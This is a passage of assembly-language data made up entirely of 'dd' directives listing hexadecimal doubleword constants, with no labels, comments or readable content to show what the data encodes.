		dd 0A57FFCh, 0BFC22FE8h, 0A3B5C7EAh, 0BD1FE67Eh, 5400E5A2h
		dd 65A13E0Eh, 0EE9800C9h, 0F9A02B97h, 997379EFh, 0A9D39007h
		dd 689086FBh, 0B66CB4h,	5C8AF56Dh, 642A8376h, 1ED21F00h
		dd 0EEC3A7C8h, 80D34861h, 2D6AA40h, 55906DBh, 14488D3Ch
		dd 0FAF21A12h, 47E1E1Eh, 0E7DBC600h, 3E2A5Eh, 0DABF8336h
		dd 31802CFEh, 5A43DF01h, 7496A504h, 2EF430D9h, 0D6DE009Ch
		dd 1D19E546h, 77246D05h, 0C000C4B2h, 0D31B4BEBh, 0C9920007h
		dd 223EBF73h, 8C90567Ch, 7402BE1Fh, 12E6C240h, 3D40D86Eh
		dd 759614F4h, 87C91F54h, 0D2D3D27Eh, 9861D7BAh,	7F868051h
		dd 0CB5ED63Eh, 31A003D1h, 45DBECFh, 45A5A8C0h, 6DC22200h
		dd 93D7757Ch, 0EEFD0088h, 0A9EFAAF7h, 3300D5A1h, 7891AB95h
		dd 0E12DF74h, 2C03636Ch, 6E1892A0h, 1C070C71h, 0BAD3C6Fh
		dd 0FA1A7FC0h, 267258BCh, 4B0FC0Eh, 21C84360h, 6B001C85h
		dd 9C0CA37Eh, 7B7B6322h, 0EAFA00FFh, 6897B636h,	14B09DA5h
		dd 21DDB212h, 0E1EDB604h, 0F0DA9083h, 0A71C9Ah,	0D6752B8Dh
		dd 7DE69983h, 710E7206h, 3D20ABBDh, 4480D8F8h, 0B959D0E5h
		dd 0DC00391Ah, 2EC1EA4Bh, 53CF099h, 0D6502283h,	0C7E88757h
		dd 0C801E3C2h, 0AD9D09B8h, 4E217100h, 66B6881Ah, 5AB809E9h
		dd 6A00D034h, 6C2C57BFh, 218B549h, 771B0729h, 0D6586916h
		dd 93DE424h, 1001D227h,	0DF15ACA1h, 0D6BCC844h,	98F52300h
		dd 0E733E252h, 34B0392h, 7DB5E15h, 41C5AD88h, 0A7A83D00h
		dd 0EFAEFDFCh, 99781E83h, 0B3B6029Ah, 48E052C3h, 5B16C935h
		dd 0A7001E89h, 0C1706E7h, 0BE7C4Ch, 32368B45h, 28806219h
		dd 0E49B8701h, 976D007h, 0BE95C8h, 56D64B82h, 79CA4EC9h
		dd 0CBDA5000h, 8FBD55EBh, 0F26D008Eh, 408969A7h, 8B03A8CCh
		dd 92AB61A0h, 0E8698C4h, 7C2B03F8h, 525AF34Ch, 0A1A7B180h
		dd 3024EF00h, 151A472Eh, 801B159Fh, 363B8C49h, 0F8B2A582h
		dd 44C82795h, 7700DDCCh, 0BFC7C1D7h, 0CB37CAh, 32CE3CB1h
		dd 5575A460h, 54082213h, 94F38C00h, 1F4B11h, 9196E28Ah
		dd 24460682h, 0FCC04E00h, 0ADE53F55h, 0D6EE0004h, 0CE05528Fh
		dd 0AF00D5B9h, 326E7267h, 481DCD91h, 0C0496619h, 0E4455300h
		dd 37936F98h, 0E9F0831Eh, 0C01AA20Fh, 7EAB2380h, 0B080ED97h
		dd 0E0129A13h, 1A07A32Ch, 18A21CEAh, 6A2F7641h,	2E064028h
		dd 61266162h, 673FC90Eh, 638780DCh, 0FA1D5F8h, 54FD9659h
		dd 20E51387h, 73DB2DF7h, 27D7C400h, 0FAB19119h,	0CCED005Fh
		dd 0E466E2AFh, 0FE00DF90h, 0E34B2F9Ah, 68AC7F6Dh, 505439ABh
		dd 6842C42h, 1BA2D4B8h,	99DD6062h, 88459900h, 0ECF316B0h
		dd 615E0034h, 17690393h, 0AD0335D2h, 7CC9C7A6h,	6779866h
		dd 6DA31F70h, 0AE2280A4h, 0E67B68ACh, 67BD3Ah, 5259C05Fh
		dd 82A097h, 8CED1B62h, 0A70BC7DAh, 110AF000h, 0BD36F2B0h
		dd 0E155059Bh, 0EEFEB4BAh, 0F3E9A980h, 3A7748h,	408E354Ah
		dd 4C3F43C8h, 72F8F900h, 0AE0601F5h, 641600C6h,	0D64108A3h
		dd 8700046Dh, 0B8CDA94Fh, 377B86CAh, 0F0E02F48h, 0C95E724Eh
		dd 102ED800h, 0CF334988h, 3BB400FCh, 866131D1h,	68FEB19Ch
		dd 39431B30h, 324ABA8h,	7B3923A0h, 19004460h, 6A171A53h
		dd 0B7E730h, 6241F6D4h,	95BAA472h, 283B3E24h, 0E97A4040h
		dd 0A7DF669h, 93299BD5h, 56FE8E24h, 6084840h, 2001D963h
		dd 1F1CCB81h, 0FCE062DAh, 0EEA8030Ah, 13913479h, 0E4E855D0h
		dd 0EC414916h, 4FBE9500h, 8F1719h, 4A570AFDh, 78267BC4h
		dd 998B6200h, 0C16FB85Bh, 6EFF1DB9h, 1A9D8FB1h,	2FF396E1h
		dd 86D8D741h, 270006C7h, 5F2C658Fh, 5011264h, 0F8468C5Eh
		dd 1F9C008Bh, 0C44105E4h, 13063500h, 0AFCBF701h, 779A0764h
		dd 0A0B6FEC6h, 3C39D372h, 2B38AC7Eh, 0FA5A0307h, 0C09DF6BBh
		dd 0D7D0Fh, 0F8E287B9h,	7901BD53h, 3EC81900h, 86976A69h
		dd 95F10773h, 1F294A49h, 2111A80h, 84166D89h, 0EC00030Ch
		dd 0A978CA55h, 1357C2Fh, 0D12EE212h, 5A39F63Fh,	1CF88A04h
		dd 605D0423h, 6C01B946h, 0FDE74400h, 0EE09B1ADh, 5D90009Dh
		dd 41DE3F63h, 0A41FC07Fh, 53C777AFh, 0BFB05C18h, 45DD3Bh
		dd 0CCDCA2F6h, 0BD01B837h, 2539EC00h, 540747E2h, 0C70E1803h
		dd 562670DFh, 0C4879E00h, 0B397CEC5h, 0ECB60024h, 0AE844530h
		dd 0CA0018B7h, 3FC5C7A2h, 29C83C6Ah, 0C22011FCh, 0DD303462h
		dd 0D9BD60F7h, 0DC4D7C54h, 92A1FB2Ch, 0D61FDB00h, 74E69E5Ch
		dd 30E978F2h, 0D470CFE5h, 5E078C52h, 0C7F560D3h, 19876E30h
		dd 0FDA11339h, 98C01188h, 30E8C030h, 0C578E18Ch, 4DCBB21Eh
		dd 2D18A428h, 0AC29AD2Ch, 3C400CEh, 551EC2ABh, 2D00C7BCh
		dd 2294248Eh, 6FA49013h, 8DA01045h, 0C74CF4B1h,	7F2A021Ch
		dd 18D91A0Ah, 5C00DC97h, 45FFC33Ch, 0F61CA011h,	0C636740Dh
		dd 589C8428h, 0C4825500h, 373921EFh, 124F8D0h, 44E72D10h
		dd 8023E429h, 0C47B7431h, 1E1A4836h, 85268558h,	0C3301C67h
		dd 60098F8Ch, 8F8D6B2Dh, 108AC0F5h, 3EDE3DC4h, 24003736h
		dd 0EC670D6Ch, 0CE140BD4h, 14C8F2Dh, 1DD15305h,	4DF9F476h
		dd 88A73C0h, 4CA7C444h,	2E4A6B1Fh, 8008643Ah, 852C8558h
		dd 0F6D0C7C4h, 6EF82137h, 0DB7E8400h, 0DFA1335Ah, 70B87F81h
		dd 8F78182Ah, 0B96E29D1h, 80CBEA00h, 89FD2251h,	96B100FFh
		dd 0CE2E5F49h, 0A4000B7Eh, 8B66A581h, 1C6E7717h, 1C1C2239h
		dd 4814CE1Fh, 8A00EE4Eh, 7B772A26h, 0FEBED200h,	0FBB1DD31h
		dd 0E6A8005Ch, 0B7F4F732h, 0EC174E62h, 1FE8094h, 74A27675h
		dd 802FE1A3h, 60421230h, 609F1F68h, 95BF10D4h, 0FB019B81h
		dd 0B515D17Eh, 30412618h, 2980284Bh, 3CBE5892h,	171BD399h
		dd 1E96A5ABh, 16BAF60h
		dd 2814DAD1h, 724D4EBh,	17403260h, 7C5C853Dh, 0BA220151h
		dd 838863CDh, 0FF08CC42h, 0D39B400h, 0F1536CEh,	683C1EA3h
		dd 0AB26C101h, 0DC90E07Ah, 38003764h, 59E581DCh, 6FA3023Eh
		dd 4FC02910h, 39F711D0h, 9ED33800h, 16BDDC19h, 0AA2211F5h
		dd 4241003Dh, 8FE32DC8h, 284D3D86h, 3ECDD800h, 9A9821Fh
		dd 1802351Eh, 2BE67D00h, 30D15938h, 0DC41134Ch,	17E80861h
		dd 0F000BC76h, 47D14FF7h, 7EAB683Fh, 0A5C58025h, 17306960h
		dd 46FF90h, 5738BDBCh, 0C989373Dh, 7850166Fh, 3842FAA0h
		dd 618034AEh, 44F7DC17h, 99904709h, 0C091F300h,	0A9FF25F6h
		dd 0C8F91B3Bh, 0DDB021CEh, 0F07848FAh, 39C011F4h, 0C25286C8h
		dd 85980394h, 23E0DA0Dh, 3A70F9F8h, 0F113FB00h,	0C06E361Fh
		dd 470C30D7h, 83C54F40h, 440BA01h, 6AA82329h, 2A68FF0h
		dd 0EF5EFC18h, 3C83F9C0h, 390023D8h, 0DE796729h, 0C4FFABE6h
		dd 21FEC328h, 3E130AD9h, 124287C0h, 370C53Ah, 55F1157Dh
		dd 9C10197h, 5686646Ch,	8708149h, 0BE66A16h, 0A0554086h
		dd 71F8E13Fh, 18085931h, 90C22B24h, 50C1F96Ch, 0F1DB40C3h
		dd 883C9048h, 0ED00E92Ah, 12017720h, 7F4DC7h, 6BC0405Ch
		dd 176C0B63h, 39FB3C30h, 98EAD7h, 1B0F71C3h, 4F5EE785h
		dd 19031800h, 0DF49884Ch, 0E71C3EDh, 0D2DB2BAFh, 0DABD16A0h
		dd 75487D03h, 908B8208h, 0C2DBAEDh, 0FAB69A41h,	86004FB0h
		dd 0FD0158C4h, 0A5DCF83Ah, 30E581E8h, 0F068E055h, 0D43B34A7h
		dd 0A8F92AC0h, 0E8C48300h, 0F839EB69h, 0CE5CA0DFh, 841C03Ah
		dd 0B1047362h, 0AADEB30Ah, 8A3EB01Eh, 0A4529E33h, 0B2E9C83h
		dd 0B963E845h, 4199005Ch, 0B6FD810Dh, 5D527318h, 8F5002B8h
		dd 902B2311h, 8C874064h, 4706DE10h, 6D602900h, 766A4638h
		dd 9FFC9338h, 410358A3h, 6F5487h, 7E6B09B1h, 0C7930ADEh
		dd 1EC15E18h, 2069C1h, 28D394EDh, 0B6CC5FEh, 33CFBF00h
		dd 6A398814h, 0DAE309Eh, 5A2E34A1h, 10853100h, 0BAD74C0Ch
		dd 1FEA778Ch, 0F233D39h, 0CCE0C6D1h, 0F9BCEE6Eh, 7F37E400h
		dd 969A4731h, 33D0CAFDh, 0C01E47C4h, 5E4E4B0Bh,	0CE31C500h
		dd 7B20F487h, 2CEC1D59h, 0D013CAE3h, 8417C4E4h,	52E440D4h
		dd 7E874A55h, 0EC71F400h, 4FFB8868h, 2B900FDEh,	17203B13h
		dd 0C6D40923h, 9C03D129h, 43B5DE07h, 0C9A600CFh, 0F4D6B7E9h
		dd 0F8774Ch, 270E9D41h,	661779E6h, 37654603h, 2A15405h
		dd 75640941h, 0A8A216DEh, 9446FE30h, 0C622AA74h, 0E79F31C4h
		dd 0F81CF008h, 1200F7C9h, 80CC4E1Eh, 9264390h, 48D8DAD0h
		dd 3309FD80h, 0DCA4A054h, 0F507058h, 86507A38h,	241943AEh
		dd 0A1141667h, 8D5585ACh, 0DCEC464Ah, 9DEE81FFh, 0B780D300h
		dd 0E4EC1626h, 4364009Bh, 0F727F183h, 30932D95h, 4F02DA88h
		dd 60C18943h, 36EBDF90h, 9CA8BAE6h, 110013C3h, 0E108FF1h
		dd 14AF9E4h, 0A656306Ah, 0E854BDE6h, 4C00CAC6h,	0C1CF860Ch
		dd 53E216h, 83664663h, 0C614DDC7h, 0B17A9207h, 2230CCDEh
		dd 0B819DF2Fh, 3AFC008Ah, 1F1CA1E5h, 16F0A40Eh,	0C3C88218h
		dd 79BCF08h, 0D814B2DEh, 60CC06A7h, 4E0052F8h, 9C285374h
		dd 1A16FA4h, 0C41B19D2h, 0CC82D370h, 4906F27Dh,	84A87C9Eh
		dd 16880098h, 1F5C5EB7h, 800173C9h, 76C6A66Fh, 79809BAEh
		dd 0DC2B2969h, 3D0095DFh, 0B94D6684h, 1B452EFh,	56F2834Eh
		dd 80A89B18h, 47C7FD31h, 6DA4232h, 4599046Eh, 0C107B815h
		dd 4024B67Eh, 0E069C516h, 56960E60h, 2785358Ch,	229843FEh
		dd 39008FC7h, 538B7A7h,	0EAA975h, 6544B8A3h, 8DD932C9h
		dd 20E8020Fh, 0F1F0461h, 23493FC1h, 680D718Ch, 0DE09DA51h
		dd 80F33913h, 4AA327D5h, 3D76002Bh, 3053426Fh, 0D97C654Fh
		dd 28443500h, 0A78DA01Ch, 9250306Bh, 3797E189h,	0A55464E4h
		dd 3A0099A0h, 2C4D79C3h, 348004h, 0F49BE207h, 7CB50587h
		dd 4061B61Eh, 9FF06C18h, 0B9703BA3h, 0ECD2043Ah, 2B00C422h
		dd 7265EF7Dh, 1FE9209h,	88E88E1Fh, 48941A19h, 33755CC8h
		dd 643A0300h, 4A3F764Dh, 591D00E2h, 97A5420Bh, 9D22B921h
		dd 65CF00A7h, 1EF0B014h, 51128478h, 1000A54Ch, 8313A0B8h
		dd 7ABB05FAh, 2222449Ah, 0A620919Ch, 29FA73h, 0E6C65C5Ah
		dd 0C4402D84h, 0DD0E563h, 0BA29608Fh, 0B2B33953h, 67121F1Ch
		dd 24A78A3Bh, 293DB048h, 0E48F8468h, 0C49E8091h, 0E6962EA2h
		dd 0A749CE7Fh, 12443092h, 28074BE8h, 67A178DBh,	80BBBCAAh
		dd 6229698h, 17C6A36h, 6C9290E8h, 893444DEh, 10CDA0A8h
		dd 0B15C20h, 0EE437E8Bh, 2B5735DDh, 4E746600h, 6E1F80ABh
		dd 0B7103F2Ch, 48938450h, 0A524A286h, 9AAA0300h, 7918B87Ch
		dd 6DA9730Dh, 150C0039h, 2271E86Fh, 0B9007FE1h,	0D9BB2818h
		dd 0D71CAFh, 9839B0EBh,	2A9759C1h, 4C522892h, 75187FCCh
		dd 0D111A29Dh, 46ED00F8h, 472B0C05h, 2D52966Eh,	27690CC4h
		dd 1C39FDh, 380513A1h, 0B06F7AB7h, 8C3BA612h, 90C48046h
		dd 79440EF9h, 69401642h, 9224C29Eh, 0F50B3B03h,	9860E245h
		dd 904382C4h, 0D0E03F78h, 279DA792h, 490C9034h,	5F39E2DAh
		dd 0CF1F81D8h, 0C0042481h, 13CB4ED4h, 3051ECADh, 1B1D0138h
		dd 0F18D1409h, 4AC01FCh, 5C322772h, 1C1A4705h, 0B880496h
		dd 4427489Fh, 46489CB9h, 0E8191444h, 1F1D0960h,	78A0CDFBh
		dd 78A3DAE5h, 50E1D892h, 0E77099D8h, 0C18F9602h, 6408A6BBh
		dd 489A264Ch, 0D8754444h, 74F00194h, 3C6523Eh, 0A673EC1Dh
		dd 637CE8FEh, 1C1413A4h, 83100020h, 0C670B85Dh,	198C60A8h
		dd 0B613689Bh, 3375FC00h, 77BC4Fh, 0CA75730h, 2D1FE102h
		dd 62F1039h, 6A6F93BBh,	0EC245378h, 5074E73Fh, 0F91780C0h
		dd 0FF001037h, 9F25C17Bh, 5D06DA14h, 0A7B3503Ah, 9A840688h
		dd 0E06A1F40h, 99FFF4h,	987F6F07h, 1CA56BE1h, 18C44CC6h
		dd 29A1AEE2h, 0B301A257h, 0EE42A9Bh, 18E4BDFFh,	7A4F0223h
		dd 0FA3660E1h, 9E5F18C0h, 0A70A8647h, 92CCD0FEh, 48D90693h
		dd 9098DDh, 52AB7200h, 1CEE4241h, 0EC4A5299h, 64301E20h
		dd 7C5C1120h, 907CEBh, 2A6ED2D4h, 2D528F09h, 0C8448CB0h
		dd 0EF94A1B8h, 3A7ABAF4h, 0D04967E3h, 5FA29100h, 19E20ED3h
		dd 5966AD00h, 30822551h, 0D4900B4h, 61E4FE85h, 581F3C98h
		dd 7F00F775h, 0EA222902h, 0C8B6088Ch, 420E1585h, 1FBFC0AFh
		dd 5B6B47h, 5ACCD7DAh, 0E47395FAh, 9740570Bh, 8A9C30CAh
		dd 0BE42319Fh, 246D0D91h, 31031CE0h, 40F77130h,	0A9B2B8DEh
		dd 4B73018Ah, 8EB9FD44h, 23A1ED21h, 54C83E80h, 0E0000AFCh
		dd 0BF66154Eh, 7FD7B9B2h, 4430BAFCh, 2EFEB07Bh,	80038972h
		dd 0C6256BA6h, 924100CBh, 0B7639788h, 2A008A51h, 0EA8FE8E9h
		dd 0EA168704h, 24EC004Bh, 1F48614Eh, 0A41A4027h, 0C0D0F5F8h
		dd 91FCAECAh, 2874411Ch, 64945197h, 35F183A4h, 0F01AB9FFh
		dd 73E2F53Ah, 178500F9h, 0CA3749Fh, 9041B0Eh, 974D9442h
		dd 12404D8h, 23057199h,	72751CE5h, 0A5AE8414h, 0B8F95490h
		dd 1CBA0E72h, 0F640F2BFh, 0DB5F6557h, 7D0C9B7Bh, 91AE6431h
		dd 0EC484E63h, 0AC201385h, 0A1C69022h, 77D7F18Ch, 9ADEBD8h
		dd 39904CFDh, 25C93007h, 9BAC4974h, 0D81B9010h,	0D1A02404h
		dd 58901F67h, 0E8366181h, 0BBEC0084h, 0FFD33142h, 18571360h
		dd 488D0098h, 86D4D595h, 1AAC4467h, 749E4F00h, 70F8F675h
		dd 0C0A6EEBCh, 5BBB8171h
		dd 5D134F53h, 3AC7E55h,	13AF0074h, 46A60EC2h, 40246016h
		dd 9A0A848Ch, 76002C49h, 4C5E159Eh, 31370BCAh, 0A41BF274h
		dd 747FE022h, 0EA58989Eh, 143205BDh, 101C139Bh,	0C4497C95h
		dd 30F41E85h, 8F951C94h, 0C8B3D402h, 0C68770DFh, 0BA589Ch
		dd 54311A00h, 47B6BF51h, 0A205917Ch, 0E428965Eh, 209CB022h
		dd 3ED1268Dh, 0C0A20600h, 93899F52h, 0A150663h,	76921788h
		dd 92B8D649h, 3C3C7212h, 5999609Dh, 0F6A2A0Dh, 0B425E100h
		dd 6F2973DCh, 0B9060AD0h, 43B894E5h, 39A0BF60h,	0F8ED1A01h
		dd 0ED00DD70h, 61AE1F22h, 0B8976992h, 0E0F34C14h, 6B58B582h
		dd 0C8D37C98h, 7130C749h, 5B5C12F0h, 78DC0D8h, 5C94589Eh
		dd 0E5078C22h, 0E5B64F31h, 152C9ECEh, 988E0Dh, 852422B3h
		dd 0F83B7C8h, 0BD5FFB87h, 0B46F3380h, 0C5033A94h, 70D52B6Dh
		dd 89B076B5h, 46C76BCh,	0AE646FD3h, 0C3FA3040h,	0F0005B80h
		dd 0ACC4D4E9h, 383CFBF3h, 0DD3F736Eh, 857EA980h, 5416D8DAh
		dd 137A07ECh, 0F373600Ch, 0BD21DFh, 0DB694B9Fh,	45D499AEh
		dd 391AAF00h, 0C971B9EFh, 17FD0CCCh, 431D912h, 924CD500h
		dd 0FB65509Dh, 69983B85h, 934D9500h, 308A7CCFh,	0C8636F00h
		dd 3ECA1E4Bh, 847D01A2h, 485D043h, 6402D031h, 0EF588700h
		dd 0FC57A092h, 6FA30651h, 28390FEAh, 462B4500h,	29564095h
		dd 7F28FAA4h, 0B463001Eh, 0DA27AA4Ch, 1A337DA1h, 0B34E5953h
		dd 1840A684h, 183A95EAh, 0CB3E7BEFh, 626A0030h,	0A752E306h
		dd 995D0688h, 7101FD9Ah, 0C90C640Ch, 504187h, 5876E4EEh
		dd 8F2FAB8Eh, 0A814620Ch, 39B2052h, 5E1B3EA0h, 5DB07349h
		dd 7C0C2A20h, 4003B4C5h, 0AA81078Fh, 0B05A78C6h, 156924E8h
		dd 34802100h, 0F31DECE1h, 5E520038h, 32A25394h,	3D0C7177h
		dd 0D1C8954Dh, 92811539h, 17C4A462h, 234E423Dh,	9B78847Eh
		dd 0A3FAE840h, 0AE01B767h, 8804ED49h, 9980B6C5h, 0ECC82E5h
		dd 0D50031A0h, 61F0D173h, 0CDD9B01h, 0B8270C30h, 0D897071Eh
		dd 95AB0A7Eh, 408C4D4Fh, 70116765h, 8C64323Ah, 0C092B229h
		dd 51FB3045h, 18AE5B80h, 1648DA00h, 70C78263h, 7E677D1Eh
		dd 1AC60092h, 0E2C26B19h, 0EB003FE5h, 0DF05A214h, 789125Ah
		dd 88F4629Ah, 1A0980BAh, 0B900F9C4h, 879B41D1h,	1B5130h
		dd 8443D52Fh, 8FBAE746h, 0D6778001h, 0B77ED9C0h, 2AB948BBh
		dd 32A26A4h, 3B01918Ch,	705DD790h, 5B5814F0h, 46037199h
		dd 0C972C0D5h, 0DD6C90A8h, 44CF00F1h, 57FB2789h, 0E0CCA07h
		dd 0A1E98F77h, 0E2220339h, 0CC96E394h, 0FCF0BAF9h, 3C00C248h
		dd 9184522Dh, 0C235344h, 0E1F49440h, 0FE88AA98h, 0CFB23BCEh
		dd 50CA0498h, 8D009EBAh, 0A6C9242Fh, 3A6568BEh,	63174BC6h
		dd 180A030Eh, 0A803217Ch, 0EA307212h, 53380010h, 0E0C7F671h
		dd 8C00B78Eh, 0DB67787Fh, 69F8ADh, 4B5AE2B6h, 0A717B3Ch
		dd 247DF61Dh, 44552601h, 0D180DE8Fh, 0E1AC282h,	0FFC4B2Fh
		dd 4701CD98h, 0A0D85E3h, 0C3DC49CBh, 18E8E089h,	78AD7DF3h
		dd 0FB180CC1h, 89D931A2h, 88723Ah, 78468CEFh, 0F8AE81CBh
		dd 8AB95303h, 0AC2BA2h,	8C52B629h, 0B32F8003h, 0C204AA15h
		dd 5DB10084h, 6B5E07A5h, 3FF00A51h, 17EC7EC4h, 417D19BFh
		dd 0A027E86Dh, 55F5C800h, 222C66E6h, 0DF84008Eh, 8DFC101Eh
		dd 9778F2ACh, 38B86404h, 0C3C7A30Ch, 88BB12D0h,	0AB0B0ACBh
		dd 805447B4h, 599DFEE8h, 0B124C707h, 8A1D2C71h,	57709400h
		dd 0EC302F44h, 0B0260177h, 0C2B3F52h, 66488ECCh, 0BA8746CAh
		dd 4F8000A0h, 0F7FA6321h, 0B1547BC9h, 28307290h, 0EC56E95Ch
		dd 9B19C078h, 0EF8D2211h, 0B91CAE00h, 0E3C5B638h, 844D29DEh
		dd 0FAB30558h, 0E1E780A2h, 0F7015D64h, 302B4432h, 0CC41D328h
		dd 9C25A163h, 56F240E2h, 39C324D5h, 12BD00E5h, 0D40A0852h
		dd 0B853F276h, 15FF26BCh, 71A18102h, 0D0E1E1E4h, 2725C24h
		dd 61840279h, 0F8829553h, 0CF23DB05h, 0D54100C9h, 6ADF59E9h
		dd 0A20E742Dh, 0BDCEB36Ch, 0ED0CDDC5h, 71B7E437h, 0C90A3CBAh
		dd 65C09C64h, 30B60A6Dh, 4DC9F663h, 0CA00DB99h,	0FBEA0D4Eh
		dd 3134E5h, 0FDEB1B9Bh,	32F4C5F9h, 0BF285A09h, 8F7C03E7h
		dd 0B7A101A8h, 449AC71Ch, 52BB7011h, 25F9DE05h,	0FC354802h
		dd 3E208437h, 0A3BE751h, 0A91DEBABh, 0FF9807F3h, 56295075h
		dd 0C98399Ah, 22605448h, 4A721B1Ch, 8B0B1FAh, 20904BBDh
		dd 4467C8AEh, 80AFF78Ah, 3EF2C8E1h, 0B0EC2416h,	52BCBE04h
		dd 0C08A3D85h, 81FC67D0h, 8F767FC9h, 0A0259029h, 159A174Eh
		dd 58F40030h, 0F659B475h, 1E5034DBh, 9006D10h, 87B3D7EFh
		dd 6098071Dh, 282F18EDh, 3706BB94h, 21B8DF29h, 712B0031h
		dd 0E2D3D5B4h, 5F78773Bh, 80882240h, 7400295Bh,	47F981B9h
		dd 18F7DB39h, 402C3E43h, 720B0277h, 87E5502Fh, 0F01CB37h
		dd 0F883603Ah, 0E8ABBADh, 270140D8h, 5C579400h,	5FE68F30h
		dd 759D0015h, 5BCBD2Fh,	1100EE4Bh, 0F55A581h, 2A28220Ch
		dd 1E54BBDFh, 0F2464F29h, 52ED1B0h, 705DDC98h, 2AC7D443h
		dd 14A10005h, 0AA9D7A0Fh, 82E4E8A6h, 0DC90010Dh, 2D40E016h
		dd 457F93h, 5A1B9E55h, 92689903h, 0A9A5780Dh, 0DFF08830h
		dd 6504593h, 660071E7h,	0EDDBAAAEh, 7C0656h, 83E1D9BEh
		dd 0C49A2759h, 6F3513Eh, 38292862h, 85C30091h, 0DD5CDBFEh
		dd 0B4A83691h, 7200891Dh, 0D05820F7h, 30C5AE29h, 0B869F379h
		dd 0CF00A0F5h, 43D2B7D6h, 1B412B24h, 413B900Bh,	0ED7EF2F0h
		dd 0E6F85506h, 57194D72h, 0C30CB093h, 1AC9E796h, 29207032h
		dd 80BCB026h, 511D22ADh, 336D1600h, 0F94134FBh,	0E6EAB4h
		dd 99E404D7h, 90A7AF66h, 1C494A60h, 5B8C8Dh, 5718B462h
		dd 21039B1Dh, 9C178114h, 3C3A7AE8h, 0E5C05491h,	0F6383300h
		dd 7AFB305Dh, 11F0579h,	40FDB470h, 45A30FF0h, 4A1CB7ECh
		dd 0A0094EEEh, 50502CADh, 0CC5E52B8h, 3201F522h, 0DCB5376Ch
		dd 63CCF114h, 0FEB2008Ch, 57E5736Bh, 751CA454h,	0D146D62h
		dd 76F4098Ch, 0ED540435h, 40D16080h, 258204D2h,	91157517h
		dd 0D9CAF704h, 9D0E002Fh, 0D47C336Dh, 0E1012698h, 0D9B344A1h
		dd 0F0D58FE9h, 65629185h, 829A8079h, 0BB1B23ABh, 0D2E96E36h
		dd 1D1E03D0h, 1886C907h, 66A332FDh, 0E8F7C143h,	0F64D3FD8h
		dd 87C4917Bh, 0E39584E2h, 76B94FE9h, 7842244h, 2DF73BB0h
		dd 60154302h, 83C15Dh, 207538FEh, 7C860366h, 7773A900h
		dd 3D475F70h, 114937Dh,	0BAAC0EAEh, 7493F275h, 0BF5F0AE0h
		dd 0B8307660h, 1DA58525h, 84B4B1BDh, 9139B6F7h,	8EE41E74h
		dd 20763BD1h, 0FC0C1299h, 30BCAE52h, 0E295C1Dh,	680034F0h
		dd 0ADDF45E9h, 74BB9C4h, 1C24C8D6h, 42418E87h, 2291DE0Ah
		dd 6CFF00E0h, 648F070Fh, 1E43160Bh, 0E64F093Fh,	28B26018h
		dd 11007AFEh, 0CDA84195h, 0F03CBBh, 88C475F6h, 616487ECh
		dd 1DA4514Ch, 207977h, 8EF1962Fh, 7EBA7DD0h, 8924CE03h
		dd 0E8112223h, 38F53979h, 7426EBC4h, 99046EC4h,	91C091E0h
		dd 308C2432h, 2423DE07h, 0A3505C0Bh, 1D2C3Dh, 8B3FF859h
		dd 38F75258h, 900D898h,	82786D99h, 9B25EE56h, 0DF2E0244h
		dd 412F21BFh, 94C7A810h, 5460ED45h, 0F935C84h, 394CC2BDh
		dd 67143033h, 5713F910h, 840C6FC8h, 3AD1935h, 48893C76h
		dd 4EB8C5C2h, 72010C46h, 9F9BC325h, 9891759Ah, 73A1F8Ch
		dd 28E9E218h, 68FC0ACEh
		dd 80CCDE90h, 0C51C347Fh, 0CB00560Ah, 40665DD9h, 4C49D85Ah
		dd 6C460806h, 4CC5913Eh, 58076A64h, 528E9E97h, 2E5EB9F0h
		dd 20A2014Ch, 6996CBB8h, 841DA2Ch, 49C98030h, 52AB7684h
		dd 32EAF6h, 0E4073D89h,	0FD78191h, 479F4B00h, 0C821D38h
		dd 0F18B0508h, 84D3C16Ch, 4930C054h, 0B090F8FDh, 4572E718h
		dd 92031559h, 918C006Ch, 6A5FF95Ch, 0CD00C4E6h,	0B8FD2D7Ah
		dd 5CA55781h, 252CC25Dh, 629E364h, 1F1E413Eh, 7B4024DCh
		dd 68EFE5E6h, 1601F296h, 8D91B45h, 78A688D8h, 708F0C8Ah
		dd 0AB7D3A00h, 0E284ECh, 7A13A845h, 0F6F3E629h,	7B86A500h
		dd 5AB2A198h, 0F71609D9h, 58A012C8h, 0D2436F99h, 968E4A9h
		dd 139C41Ch, 0D77CEB9Eh, 17F47925h, 0D66FB270h,	0DBD0010Ch
		dd 4D0E204Bh, 589C27B1h, 1E750C04h, 28C11Bh, 8CE8DEB2h
		dd 58DA53C5h, 98C48B00h, 75AEA69Bh, 3860BB35h, 9BC917Dh
		dd 2420C391h, 75740D0Bh, 94DAAD00h, 70B8BB40h, 2BF12687h
		dd 11542640h, 9DB50225h, 0E007ED9Fh, 88508470h,	28A16B1Ah
		dd 0C7215h, 418312C4h, 282E3442h, 448C570Fh, 9248C37Ch
		dd 813484B4h, 4CF7BCDCh, 0C9C745Fh, 81B9899Ah, 46199500h
		dd 0C762E01h, 1DAC2637h, 0DE9A4084h, 9909CBDBh,	8ECAE50Eh
		dd 143E282h, 82A49B86h,	488044AFh, 5480A891h, 0C1D008CAh
		dd 0F8BCD900h, 0A759C03h, 0C67102B2h, 10BCB27h,	1E52446Ch
		dd 24E70080h, 0DD84C17Fh, 0A8FC0009h, 21FA02B2h, 0B73B73BEh
		dd 38DE8723h, 0BB45B837h, 270FA820h, 540D5981h,	200B897Bh
		dd 58EA879Ch, 84366300h, 49A32927h, 2CDF40A9h, 2FA1F71Dh
		dd 0A8984834h, 5110097h, 4CF4AE31h, 1B76C1A0h, 515C7800h
		dd 262C8BD9h, 16249068h, 20797D85h, 0FDBCFFE8h,	0D2475000h
		dd 0B65886E0h, 0AC4B7F70h, 0B4ACCh, 6BF76370h, 0F000145h
		dd 0B66DF6ACh, 0A01BBADEh, 5EBF6Ch, 943B6B72h, 811F8C50h
		dd 9113A09Bh, 73909827h, 595F5AA7h, 3A8B8489h, 3191F803h
		dd 75332900h, 8E99F249h, 0A5C900C7h, 0F67A36EFh, 1E004F3Bh
		dd 9272464h, 7FDD91C8h,	0B0384C5Ch, 479D8603h, 1C926A25h
		dd 0EF0FB453h, 9A07A228h, 984A0EEh, 7978748Bh, 15EB088h
		dd 2725936Eh, 283B43F7h, 67088EC8h, 0CDC4C52Dh,	76C52097h
		dd 943AF098h, 2EBFE2B4h, 39231221h, 3BADF064h, 3A925BBBh
		dd 0C5044475h, 101E0BD4h, 0A971B0h, 854D8C2h, 0A91F39Dh
